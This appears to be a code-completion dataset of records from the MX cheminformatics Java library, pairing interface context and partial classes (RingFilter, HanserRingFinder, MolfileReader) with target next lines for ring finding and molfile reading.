// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/query/AtomMatcher.java // public interface AtomMatcher // { // boolean matches(Atom atom); // } // Path: src/com/metamolecular/mx/ring/RingFilter.java import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.query.AtomMatcher; import java.util.ArrayList; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class RingFilter { private RingFinder ringFinder; private Comparator comparator; private AtomMatcher filter; public RingFilter(AtomMatcher filter, RingFinder finder) { ringFinder = finder; comparator = new RingSizeComparator(); this.filter = filter; }
public void filterAtoms(int atomLimit, Collection<List<Atom>> rings, Collection<Atom> atoms)
metamolecular/mx
src/com/metamolecular/mx/ring/RingFilter.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/query/AtomMatcher.java // public interface AtomMatcher // { // boolean matches(Atom atom); // }
import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.query.AtomMatcher; import java.util.ArrayList;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class RingFilter { private RingFinder ringFinder; private Comparator comparator; private AtomMatcher filter; public RingFilter(AtomMatcher filter, RingFinder finder) { ringFinder = finder; comparator = new RingSizeComparator(); this.filter = filter; } public void filterAtoms(int atomLimit, Collection<List<Atom>> rings, Collection<Atom> atoms) { for (List<Atom> ring : rings) { if (atoms.size() >= atomLimit) { break; } if (ringMatches(ring)) { atoms.addAll(ring); } } }
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/query/AtomMatcher.java // public interface AtomMatcher // { // boolean matches(Atom atom); // } // Path: src/com/metamolecular/mx/ring/RingFilter.java import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.query.AtomMatcher; import java.util.ArrayList; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class RingFilter { private RingFinder ringFinder; private Comparator comparator; private AtomMatcher filter; public RingFilter(AtomMatcher filter, RingFinder finder) { ringFinder = finder; comparator = new RingSizeComparator(); this.filter = filter; } public void filterAtoms(int atomLimit, Collection<List<Atom>> rings, Collection<Atom> atoms) { for (List<Atom> ring : rings) { if (atoms.size() >= atomLimit) { break; } if (ringMatches(ring)) { atoms.addAll(ring); } } }
public void filterAtoms(Molecule molecule, Collection<Atom> atoms)
metamolecular/mx
src/com/metamolecular/mx/ring/HanserRingFinder.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // }
import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import java.util.ArrayList; import java.util.Collection;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class HanserRingFinder implements RingFinder {
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // Path: src/com/metamolecular/mx/ring/HanserRingFinder.java import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import java.util.ArrayList; import java.util.Collection; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class HanserRingFinder implements RingFinder {
private List<List<Atom>> rings;
metamolecular/mx
src/com/metamolecular/mx/ring/HanserRingFinder.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // }
import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import java.util.ArrayList; import java.util.Collection;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class HanserRingFinder implements RingFinder { private List<List<Atom>> rings; private int maxRingSize; public HanserRingFinder() { rings = new ArrayList(); maxRingSize = -1; } public void setMaximumRingSize(int max) { this.maxRingSize = max; } public int getMaximumRingSize() { return this.maxRingSize; }
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // Path: src/com/metamolecular/mx/ring/HanserRingFinder.java import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import java.util.ArrayList; import java.util.Collection; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.ring; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class HanserRingFinder implements RingFinder { private List<List<Atom>> rings; private int maxRingSize; public HanserRingFinder() { rings = new ArrayList(); maxRingSize = -1; } public void setMaximumRingSize(int max) { this.maxRingSize = max; } public int getMaximumRingSize() { return this.maxRingSize; }
public Collection<List<Atom>> findRings(Molecule molecule)
metamolecular/mx
src/com/metamolecular/mx/io/mdl/MolfileReader.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // }
import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.io.LineNumberReader; import java.io.StringReader; import java.io.IOException; import java.util.ArrayList;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.io.mdl; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class MolfileReader { private boolean readChargesInAtomBlock; public MolfileReader() { readChargesInAtomBlock = false; }
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Molecule.java // public interface Molecule // { // public int countAtoms(); // // public int countBonds(); // // public int countSuperatoms(); // // public Atom getAtom(int index); // // public Bond getBond(int index); // // public Bond getBond(Atom source, Atom target); // // public Superatom getSuperatom(int index); // // public Superatom addSuperatom(); // // public Atom addAtom(String symbol, double x, double y, double z); // // public Atom addAtom(String symbol); // // public void removeAtom(Atom atom); // // public Bond connect(Atom source, Atom target, int type, int stereo); // // public Bond connect(Atom source, Atom target, int type); // // public void removeBond(Bond bond); // // public void disconnect(Atom source, Atom target); // // public void removeSuperatom(Superatom substructure); // // public void clear(); // // public void beginModify(); // // public void endModify(); // // public void addChangeListener(ChangeListener listener); // // public void removeChangeListener(ChangeListener listener); // // public Molecule copy(); // // public void copy(Molecule molecule); // } // // Path: src/com/metamolecular/mx/model/Superatom.java // public interface Superatom // { // public String getLabel(); // // public void setLabel(String label); // // public int countAtoms(); // // public int countCrossingBonds(); // // public Atom getAtom(int index); // // public Bond getCrossingBond(int index); // // public boolean contains(Atom atom); // // public boolean contains(Bond bond); // // public void addAtom(Atom atom); // // public void removeAtom(Atom atom); // // public void addCrossingBond(Bond bond); // // public void removeCrossingBond(Bond bond); // // public void setCrossingVector(Bond bond, double x, double y); // // public double getCrossingVectorX(Bond bond); // // public double getCrossingVectorY(Bond bond); // // public int getIndex(); // // public Molecule getMolecule(); // } // Path: src/com/metamolecular/mx/io/mdl/MolfileReader.java import java.util.List; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Molecule; import com.metamolecular.mx.model.Superatom; import java.io.LineNumberReader; import java.io.StringReader; import java.io.IOException; import java.util.ArrayList; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.io.mdl; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class MolfileReader { private boolean readChargesInAtomBlock; public MolfileReader() { readChargesInAtomBlock = false; }
public void read(Molecule mol, String molfile)
metamolecular/mx
src/com/metamolecular/mx/io/mdl/MolfileReader.java
